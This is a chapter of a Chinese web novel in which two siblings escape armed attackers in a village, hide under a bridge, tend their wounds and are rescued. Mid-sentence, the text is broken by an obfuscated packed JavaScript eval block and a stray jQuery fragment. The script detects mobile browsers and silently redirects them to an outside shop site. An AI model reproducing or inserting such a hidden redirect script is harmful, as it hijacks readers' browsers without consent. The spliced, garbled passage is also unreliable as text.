“快躲好!”
昌辞慌乱的跑向水缸后边躲起来,却看见刚才被踢倒的人重新爬起来拿着棍子挥向昌祺。
“当心后边——”
昌辞害怕的声嘶力竭,无措之下赶紧拿出手机报警。
“喂?我这是‘殳也’村,有人要杀啊——”
昌辞看到一个人拿着刀朝昌祺刺去,尖叫着提醒顾及不暇的昌祺,然后大脑不受控的扔掉手机抓起一旁的斧头就朝那人砍过去!
“啊!”
“啊——”
男人惨烈的痛呼声伴着喷出的鲜血吓得昌辞崩溃喊叫。
“妈!”
昌祺看到昌辞被吓溃散的眼神担忧不已,却因为这一秒的分神手臂被划伤了一刀。
“昌祺!”
从未有过的疼痛感席卷他全身,他不敢再带着昌辞跟他们纠斗下去,拿起掉落在脚边的斧头就朝另外两个人挥去!
两人被他砍伤后没了还手的余地,他赶紧拉昌辞逃了出去。
“你的手伤的重吗?”
“没事。”
昌祺拉着她不停的跑,却又怕伤到昌辞的脚,不敢跑得太快。
这个村庄实在是太大了,他也有些迷失方向,刚才的“巧合”让他不敢再随意躲进民宅,昌辞的体力却在一点点儿的脱离……昌祺停下来四处张望,前边有一条干枯的浅河沟,或许有能藏住他们俩的地方。
他跳进河沟里,把昌辞也抱了下来,他看了眼石板桥洞,觉得这个地方太明显,就拉着昌辞顺着河沟走远了一段路。他们躲在一堆杂草枯枝后边,又给两人身上盖了些玉米秸秆遮掩身体。
昌辞躺在他怀里瑟瑟发抖,很小的声音问:“那个人是不是死了……”
昌祺想起被他砍中背部的那个人,不死估计也要残疾,却低声安抚她:“怎么会呢,你才多大的力气……”
他突的听到远处的脚步声,赶紧捂住昌辞的嘴巴。
昌辞看到昌祺被鲜血染透的衣袖,眼泪霎时夺眶而出……
“怎么没影儿了,没追岔吧?”
“他们对路不熟跑不了多远,一定得抓回来!”
“要不分头找找?”
“走。”
怎么听着还有四个人的声音,昌祺意识到了事情的严重性……
“你的……”
昌祺再次捂紧昌辞的嘴,对她摇了摇头,昌辞再不敢发出声音。
果然,一分钟后附近再次响起了乱糟糟的脚步声,昌辞惊恐的落下眼泪,幸好。
那些人四下望了一圈儿,又跳到桥洞下翻找了一会儿。
“看来是真跟丢了。”
“那就别耽误时间了,快走!”
他们再次离开。
昌祺却觉得奇怪,这些人不像普通村民,怎么都待在这个村庄里?要是为堵截自己有点儿小题大做了吧?还有刚才那个人怎么这么巧就待在那个院子里?
他松开昌辞,看到她的满面泪痕,知道她是被吓坏了,扒开了她身上的枯枝杂草:“暂时没事了,快起来。”
昌辞慌惧的扶着他的胳膊站起来:“啊!”
她的脚越来越疼了,好像行走都有困难……
昌祺知道她已经走不了了,又不敢暴露在外头太久,只好背着她暂时藏进桥洞底下,他们已经找了两遍应该不会再回来了。
昌辞靠着烂墙缓缓坐下。
“我们先在这里歇一会儿。”
昌辞还是很害怕:“那些人万一再回来呢?警察怎么还不来?是不是我刚才没说清楚?”
“别急,你说清了,我虽然在打架也听清了。”
“那怎么还没有人来……”
昌祺安慰她:“这个地方这么偏,总需要一些时间的。”
昌辞还是觉得不安,想再打一遍才想起来自己的手机刚才扔掉了……
“你的手机呢,我给辛熠打电话。”
昌祺看着她翻找自己的口袋,忍不住低笑:“妈,我哥在你眼里比警察还靠谱吗?”
“你还有心情说笑啊?我们不能在这儿困下去,你的血会流干的。”
她拨出辛熠的电话,她对辛熠的信任、跟对他能力的认可都是百分之百的。
“辛熠?”
昌辞的声音从昌祺的电话里传出更令辛熠忧心忡忡:“你们在哪儿?”
焦急的质问声说明他早就知道了昌祺的“失联”,昌辞压低了声音:“先别说话,我们在‘殳也’村,有一堆人要抓我们,我们现在正躲在一个桥洞底下,昌祺的手流了好多血,你快过来。”
昌辞的一番话快让辛熠的心跳停止了,她要有个三长两短自己怎么跟辛勐函交代……他自我平复了几秒钟。
“把你们的地址实时发给我,跟昌祺躲好了别再乱动,这部手机一定贴身带着,我得定位你们,现在挂掉电话节省电量。”
“好。”
“记住,万一非要转移一定要紧跟着昌祺,千万千万不能跟他分散。”
昌辞再次答应,然后关掉了电话。
“我哥听到你也在这儿肯定吓坏了,这次回去我肯定少不了一顿揍。”
昌辞担忧看着他的手臂:“你都伤成这样了他怎么下得去手啊?”
“我没事,就是血流的多,看着吓人。”昌祺开解着她的不安。
昌辞撕开他已经破掉的衣袖,那条伤口暴露在眼前,只看着就觉得疼入骨髓,昌辞逼迫自己勇敢一些,得尽快给他包扎起来。
“妈你会包扎伤口吗?”
他本是想让昌辞轻松一些,反而勾起了她的自责:“……不是很会,你忍着点儿疼。”
她把撕下来的衣袖又撕掉两条布条,大块的衣料摁在伤口上,昌祺就疼的低吼咬牙切齿,昌辞恐惧的流出眼泪,加快了速度用布条把布片固定住,系完之后已经用尽了力气。
昌祺缓了好长时间才忍下那股疼痛,然后用另一手探向她的脚:“我看看你的脚。”
昌辞这才想起自己的脚伤:“我没事儿,就是被树枝刮了几下。”
“穿着高跟鞋跑了这么久,肯定扭伤了。”
昌祺揭开她的长裙摆,她脚踝上的几道划伤已经渗出血迹,伤口肯定不浅,脚腕处也有一块淤青显现出来……这些伤让昌祺心惊肉跳,比他自己的伤口还可怕,昌辞从来没遭过这种罪。
昌辞不想他太自责,捧着他的脸:“跟你的伤口相比轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690605|207894||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多了,不走就不会疼。”
昌祺也不想惹她多余的担忧不安,心疼的点点头,却让眼泪遗漏出来。
昌辞也要忍不住眼泪落下了,却给他抹去泪痕。
“我没事,现在只要安心等我哥来就行了。”
昌辞又想起此刻的危险情境,恐惧感再次袭上心头。
“这里怎么会有这么多打手?就算你曝光了这儿的污染情况,也不至于惹来这么多人拿着刀杀你啊?”
昌祺已经有了猜测,这帮人根本不是为了自己那篇文章。像刚才那个巧合遇见的杀手应该还有很多都分散待在那些破旧民房里,做着不可告人的事……但这些猜测不必让昌辞知道徒增恐惧。
“他们找不到我们却暴露了自己,估计现在正准备逃命呢,应该不会再来追我们了。”
昌辞想不明白他这说法,也不想想了,她已经被恐惧打垮了。
要不是昌辞在身边,昌祺一定“杀”回去查个清楚,可现在他不能带着昌辞去冒险,一切都得以她的安全为主。
“别害怕,我哥应该快到了。”
昌辞无力的靠着墙壁,盯着昌祺的伤口渐慢失神……
……
大约一个小时后,外面突然嘈杂起来,昌辞吓得躲进昌祺怀里,昌祺抱紧她望着外头:“先别出声。”
没一会儿他就看到了警察的身影,却还是很谨慎,上次的事情之后已经让他对这帮人没有信任感了……
“你待着别动,我去看看。”
昌辞胆怯地瑟缩在墙根,昌祺小心的走出两步,直到看见辛熠焦急地背影,才庆幸的大喊。
“哥!”
辛熠惊异回头,立刻跑过来,昌祺也跑向他。
“哥。”
辛熠打量了他一眼,看到了他肩上被简易包起来的伤口:“昌辞呢?”
“在这边……”
昌辞扶着烂墙勉强站起来,辛熠大步跑过去:“伤哪儿了?”
“脚……脚崴了。”
辛熠抱起她大步离开桥洞,他不仅带来了警察,也叫来了医生,昌辞被他直接送进救护车里。
“快检查一下她的脚!”
昌祺看到医生在给昌辞处理伤口,辛熠也陪在她身边就放心的去找警察了。辛熠蹙眉,眼睛追随着他,却见他跟警察说着什么,似乎有了重大发现。
满腔的怒意渐渐消去,看来他这回也不是肆意而为,对疑问的追求和执念终于有了价值……
“昌辞!”
闻瑭的出现让辛熠很意外。
“董事长。”
闻瑭此刻眼里心里都只有昌辞:“脚怎么了?还有没有别的伤啊?”
“哥……”
昌辞被惊吓的恐惧与伤口的疼痛在看到他后就失控了,抱住他就哭起来。
“没事了没事了……”
闻瑭抱住她安抚着。
“董事长,她的脚有轻微的崴伤,再就是腿上的一些划伤,没有大碍。”
闻瑭脸色很冷:“后续的事你给她处理好,我先带她回去。”
“……好。”
辛熠有些诧异闻瑭来的这么快,他对昌辞的在意似乎比从前更重了。